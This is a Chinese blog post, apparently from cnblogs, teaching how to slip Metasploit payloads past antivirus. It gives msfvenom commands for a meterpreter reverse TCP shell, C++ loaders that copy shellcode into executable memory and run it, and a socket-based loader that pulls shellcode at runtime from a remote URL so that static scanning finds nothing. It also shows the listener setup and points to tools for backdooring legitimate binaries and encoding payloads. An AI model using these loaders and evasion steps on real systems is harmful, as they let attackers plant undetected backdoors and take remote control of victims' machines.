• 动态加载 ShellCode绕过杀软


    反病毒解决方案用于检测恶意文件,并且通常使用静态分析技术来区分二进制文件的好坏。如果是恶意文件本身包含恶意内容(ShellCode),那么依靠静态分析技术会非常有效,但如果攻击者使用轻量级的stager来代替下载并将代码加载到内存中,会发生什么?事实证明这样做可以绕过大多数杀软的查杀。

    虽然这种绕过方法并不是新鲜技术,但绕过反病毒软件对于大多数后门来说都是必要的,在这篇文章中,我们将使用virscan作为我们的检测工具,并使用Metasploit生成一些反向的ShellCode作为我们的攻击载荷。通过使用virscan云鉴定技术,可以衡量出Payload的是否免杀,但需要注意的是,只有动态检测或基于行为的检测,才能真正捕获到现实世界中的Payload。

    首先我们使用 msfvenom 命令创建一个具有反向连接Shell的可执行文件,生成命令(Linux)如下:

    [root@localhost ~]#  msfvenom –p windows/meterpreter/reverse_tcp 
    >                               lhost=192.168.1.30 lport=8888 
    >                               -f exe -o lyshark.exe
    

    上方的代码就可以生成一个lyshark.exe的可执行文件,将此文件上传到VirusTotal,发现它会被大量反病毒引擎所查杀,这是正常的,因为它是一个常见的Payload,许多安全厂商都会针对Metasploit进行特征码的提取与查杀。

    嵌入式 Shellcode

    通过上方的方式生成后门文件是不可取的,因为大多数反病毒厂商都掌握了Metasploit可执行模板的签名,因此我们决定创建自己的可执行文件,然后手动实现 ShellCode的加载工作。我们再次使用 msfvenom 命令,但在这次只生成 ShellCode,而不是完整的可执行文件:

    [root@localhost ~]# msfvenom -a x86 --platform Windows 
    >                              -p windows/meterpreter/reverse_tcp 
    >                              -b 'x00x0b' LHOST=192.168.1.30 LPORT=8888 -f c
    

    上方代码会生成一个Payload有效载荷,这里我们需要记下来,然后将ShellCode复制到一个单独的C++源文件中,然后编译生成一个可执行文件。

    #include <Windows.h>
    #include <stdio.h>
    using namespace std;
    
    int main(int argc,char **argv){
    	char ShellCode[] = "x0x0x0x0x0x0x......";            // ShellCode 填充到这里。
    	
    	void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	memcpy(exec, ShellCode, sizeof ShellCode);
    	((void(*)())exec)();
    	return 0;
    }
    

    生成成功后,我们将攻击主机运行一个监听事件,然后打开生成后的后门,然后发现能够成功上线。

    [root@localhost ~]# msfconsole 
    msf5 > 
    msf5 > use exploit/multi/handler
    msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
    msf5 exploit(multi/handler) > set lhost 192.168.1.30
    msf5 exploit(multi/handler) > set lport 8888
    msf5 exploit(multi/handler) > exploit -j -z
    

    但是这种方式也是会直接被检测到,原因是ShellCode已经被加入了特征,接下来我们将通过远程的方式加载ShellCode代码,让恶意代码与加载器分离。

    远程加载 Shellcode

    上方的扫描结果依然会报毒,原因就是ShellCode已经被捕捉了特征,这里我们将动态加载ShellCode。它不是使用已编写到二进制文件中的ShellCode编译可执行文件,而是在运行时动态获取ShellCode代码,并将其动态的加载到内存中执行,从而做到ShellCode与加载器的分离,减少误报的概率。

    #include <Windows.h>
    #include <iostream>
    #include <string>
    #include <cstring>
    #include <winhttp.h>
    #include <stdlib.h>
    #pragma comment(lib,"winhttp.lib")
    using namespace std;
    
    LPSTR get_shellcode(){
    
    	return 0;
    }
    
    int main(int argc,char **argv){
    	LPSTR hex_instructions = get_shellcode();
    	const char* ShellCode = hex_instructions;
    	int shellcode_length = strlen(ShellCode);
    
    	unsigned char* value = (unsigned char*)calloc(shellcode_length / 2, sizeof(unsigned char));
    	for (size_t count = 0; count < shellcode_length / 2; count++){
    		sscanf(ShellCode, "%2hhx", &value[count]);
    		ShellCode += 2;
    	}
    
    	void *exec = VirtualAlloc(0, shellcode_length / 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	memcpy(exec, value, shellcode_length /2 );
    	((void(*)())exec)();
    	return 0;
    }
    

    上方代码中创建了一个名为get_shellcode()函数,用于从另一台主机远程下载前面示例中使用的ShellCode。该函数使用winhttp库中的各种方法,通过HTTP的方式检索ShellCode。此外,当从远程位置以ASCII格式加载ShellCode时,需要执行额外步骤,要将指令转换为准备执行的原始二进制格式,这里的get_shellcode()并没有填充完整。

    本次杀毒,你会发现误报全部消失了,因为在可执行文件中并没有恶意的ShellCode,并且也没有添加任何的下载函数,但如果添加了下载函数,此种方法生成的后门依然会存在误报。

    替代文件下载功能

    尽管我们已经分离除了程序中的 ShellCode代码,但有些杀毒软件仍然会报毒。为了获得0命中率,我们要思考,在这一过程遗漏了什么 ?

    我们需要重新思考,首先要确定代码的哪个部分导致了告警。从直觉上,怀疑是函数 VirtualAlloc 和 memcpy 导致反病毒引擎认为该文件是可疑的,因为这些函数通常被用于内存注入。但是很多程序都会在内存中分配空间,所以这种猜测本身就是不正确的,实际上HTTP请求调用的函数可以获得远程托管的ShellCode,从而导致可疑的结果。通常我们会使用的函数是:

    WinHttpOpen
    WinHttpConnect
    WinHttpOpenRequest
    WinHttpSendRequest
    WinHttpReceiveResponse
    WinHttpQueryDataAvailable
    WinHttpReadData
    WinHttpCloseHandle
    

    但是这些函数,很容易就被杀软盯上,但幸运的是,Windows 提供了许多不同的库,可用于下载数据,例如WinInet,WinHTTP和Windows套接字。通过切换到更加手动的基于套接字的实现 ,如果使用这些第三方库或使用系统自带的下载命令,则任何防病毒引擎都不再将下载代码标记为可疑。

    void mParseUrl(char *mUrl, string &serverName, string &filepath, string &filename);
    SOCKET connectToServer(char *szServerName, WORD portNum);
    int getHeaderLength(char *content);
    char *readUrl2(char *szUrl, long &bytesReturnedOut, char **headerOut);
    

    然后将其与先前演示的shellcode加载过程相结合。

    #include <windows.h>
    #include <string>
    #include <stdio.h>
    #include <iostream>
    #include <cstring>
    using std::string;
    #pragma comment(lib,"ws2_32.lib")
    
    HINSTANCE hInst;
    WSADATA wsaData;
    void mParseUrl(char *mUrl, string &serverName, string &filepath, string &filename);
    SOCKET connectToServer(char *szServerName, WORD portNum);
    int getHeaderLength(char *content);
    char *readUrl2(char *szUrl, long &bytesReturnedOut, char **headerOut);
    
    int main(){
    	const int bufLen = 1024;
    	char *szUrl = "lyshark.com/shellcode";
    	long fileSize;
    	char *memBuffer, *headerBuffer;
    	FILE *fp;
    	memBuffer = headerBuffer = NULL;
    
    	if (WSAStartup(0x101, &wsaData) != 0){
    		return -1;
    	}
    
    	memBuffer = readUrl2(szUrl, fileSize, &headerBuffer);
    	if (fileSize != 0)
    	{
    		fp = fopen("down.file", "wb");
    		fwrite(memBuffer, 1, fileSize, fp);
    		fclose(fp);
    		delete(headerBuffer);
    	}
    	int code_length = strlen(memBuffer);
    	unsigned char* value = (unsigned char*)calloc(code_length / 2, sizeof(unsigned char));
    
    	for (size_t count=0; count < code_length / 2; count++){
    		sscanf(memBuffer, "%2hhx", &value[count]);
    		memBuffer += 2;
    	}
    
    	void *exec = VirtualAlloc(0, code_length / 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	memcpy(exec, value, code_length / 2);
    	((void(*)())exec)();
    	WSACleanup();
    	return 0;
    }
    

    最终的有效负载成功地向侦听主机发送了反向shell,更重要的是,VirScan上的检测率为零,本文所采取的步骤,展示了如何通过一些简单的修改,来使Payload绕过杀软的查杀。然而,我们还可以选择许多其他选项,包括:

    1. 在已知合法的二进制文件中插入Payload(https://github.com/secretsquirrel/the-backdoor-factory)。
    2. 使用Veil(https://github.com/Veil-Framework/Veil)进行Payload的编码和加密。
    3. 使用其他语言,例如:PowerShell、Python、Ruby、C#、Java、Go等。

    参考文献:https://countercept.com/blog/dynamic-shellcode-execution

  • 相关阅读:
    JAVA JDK配置
    jsoncpp的使用
    VS2015 +Qt5 串口工具
    Unable to convert MySQL date/time value to System.DateTime问题解决方案
    datagridview的一些设置
    C# 如何使用长度来切分字符串
    (备忘)打开office2010总是在配置进度
    (备忘)卸载微软自带输入法
    (备忘)怎么去除WinRAR弹窗广告?
    winfrom弹出窗口用timer控件控制倒计时20秒后关闭
  • 原文地址:https://www.cnblogs.com/LyShark/p/11335999.html
Copyright © 2020-2023  润新知